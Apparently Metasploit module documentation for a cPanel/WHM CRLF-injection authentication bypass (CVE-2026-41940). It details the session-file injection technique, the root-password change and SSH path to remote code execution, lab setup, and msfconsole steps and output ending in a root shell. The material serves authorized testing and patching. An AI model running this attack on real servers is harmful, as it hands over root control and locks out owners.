## Vulnerable Application

This module exploits CVE-2026-41940, a CRLF injection vulnerability in cPanel/WHM's session
management daemon (`cpsrvd`) that allows an unauthenticated remote attacker to inject arbitrary
fields into a session file and obtain a root-level WHM session, leading to remote code execution
as root.

`cpsrvd`'s HTTP Basic-auth handler passes the password value to `saveSession()` without stripping
newline characters (`\n`). When a session cookie is presented without its ob-part (the `,<hex>`
suffix), the ob-encoder is bypassed and the raw password (including injected newlines) is written
verbatim to the raw session file at `/var/cpanel/sessions/raw/<session>`. A subsequent unauthenticated
request to `/scripts2/listaccts` (which has no valid security token) fires the `do_token_denied`
gadget, causing `Cpanel::Session::Modify` to promote all top-level fields from the raw file into the
authoritative JSON session cache at `/var/cpanel/sessions/cache/<session>`. The injected fields grant
root-level WHM authentication.

RCE is achieved by calling the authenticated WHM JSON API `passwd` endpoint to change the root
system password to a known temporary value, then connecting over SSH to execute the payload. The
temporary password is rotated to a fresh random value after exploitation.

> **Warning:** This module is destructive. It changes the root password and does not restore the
> original value.

### Affected Versions

All cPanel/WHM versions after 11.40 are affected. Fixed per branch:

- 11.86.0.41
- 11.110.0.97
- 11.118.0.63
- 11.124.0.35
- 11.126.0.54
- 11.130.0.19
- 11.132.0.29
- 11.134.0.20
- 11.136.0.5
- WP2 136.1.7

Confirmed vulnerable: cPanel/WHM 11.136.0.4 (LSWS/AlmaLinux 8).

See the [cPanel advisory](https://support.cpanel.net/hc/en-us/articles/40073787579671) for details.

### Setup

> **Note:** The `check` method works on any cPanel/WHM install. The full exploit (`passwd` API +
> SSH) requires the target to have a valid cPanel license; the `passwd` API returns HTTP 500 on
> unlicensed servers.

1. Provision a fresh AlmaLinux 8 server.

2. Install cPanel/WHM:

```bash
cd /home && curl -o latest -L https://securedownloads.cpanel.net/latest && sh latest
```

   The installer pulls the latest build. Any version before the fix (see Affected Versions) is
   vulnerable. To prevent auto-update after install, add `CPANEL=11.136` to `/etc/cpupdate.conf`.

3. Verify the installed version is vulnerable:

```bash
cat /usr/local/cpanel/version
```

4. WHM is accessible at `https://<ip>:2087`.

## Verification Steps

1. Start `msfconsole`
1. `use exploit/multi/http/cpanel_whm_auth_bypass_rce`
1. `set RHOSTS <target>`
1. `set RPORT 2087`
1. `set SSL true`
1. `check` - confirm the target is vulnerable before running the exploit
1. `set DefangedMode false`
1. `run`
1. A root shell session opens via SSH. After the session is established, the module rotates the
   root password to a fresh random value.

## Options

### SSHPORT

SSH port on the target used for payload delivery after the root password is changed.
Default: `22`.

### DefangedMode

Safety gate to prevent accidental destructive runs. Default: `true` (blocked).

Must be set to `false` before `run`. The exploit changes the root password and does not restore
the original value.

## Scenarios

### check - cPanel/WHM 11.136.0.4 on AlmaLinux 8 (unlicensed)

The `check` method uses a non-destructive 3-step technique (injecting `expired=1` for a random
non-root username) to confirm the CRLF injection is unfiltered without triggering any lockout or
creating a persistent authenticated session.

```
msf6 > use exploit/multi/http/cpanel_whm_auth_bypass_rce
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(multi/http/cpanel_whm_auth_bypass_rce) > set RHOSTS 192.168.80.131
RHOSTS => 192.168.80.131
msf6 exploit(multi/http/cpanel_whm_auth_bypass_rce) > set RPORT 2087
RPORT => 2087
msf6 exploit(multi/http/cpanel_whm_auth_bypass_rce) > set SSL true
SSL => true
msf6 exploit(multi/http/cpanel_whm_auth_bypass_rce) > check
[+] 192.168.80.131:2087 - The target is vulnerable. CRLF injection confirmed: expired_session marker detected
```

### run - cPanel/WHM 11.136.0.4 on AlmaLinux 8 (licensed target)

```
msf6 > use exploit/multi/http/cpanel_whm_auth_bypass_rce
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(multi/http/cpanel_whm_auth_bypass_rce) > set RHOSTS 192.168.80.131
RHOSTS => 192.168.80.131
msf6 exploit(multi/http/cpanel_whm_auth_bypass_rce) > set RPORT 2087
RPORT => 2087
msf6 exploit(multi/http/cpanel_whm_auth_bypass_rce) > set SSL true
SSL => true
msf6 exploit(multi/http/cpanel_whm_auth_bypass_rce) > set DefangedMode false
DefangedMode => false
msf6 exploit(multi/http/cpanel_whm_auth_bypass_rce) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. CRLF injection confirmed: expired_session marker detected
[*] Minting pre-auth session
[*] Injecting session fields via CRLF
[*] Triggering session cache promotion
[*] Verifying WHM root access
[+] Auth bypass successful - root WHM session obtained
[*] Setting temporary root password
[+] Root password set
[*] Connecting via SSH
[*] Rotating root password
[+] Root password rotated
[*] Found shell.
[*] Command shell session 1 opened (192.168.80.130:44969 -> 192.168.80.131:22) at 2026-05-06 16:26:27 +0100

id
uid=0(root) gid=0(root) groups=0(root)
hostname
192-168-122-130.cprapid.com
cat /etc/redhat-release
AlmaLinux release 8.10 (Cerulean Leopard)
```

> **Note:** The module rotates the temporary root password before opening the session.
> If cpsrvd's license cache has expired, rotation may fail and the module will print a
> warning. The temporary password is then still set; change it manually via SSH.
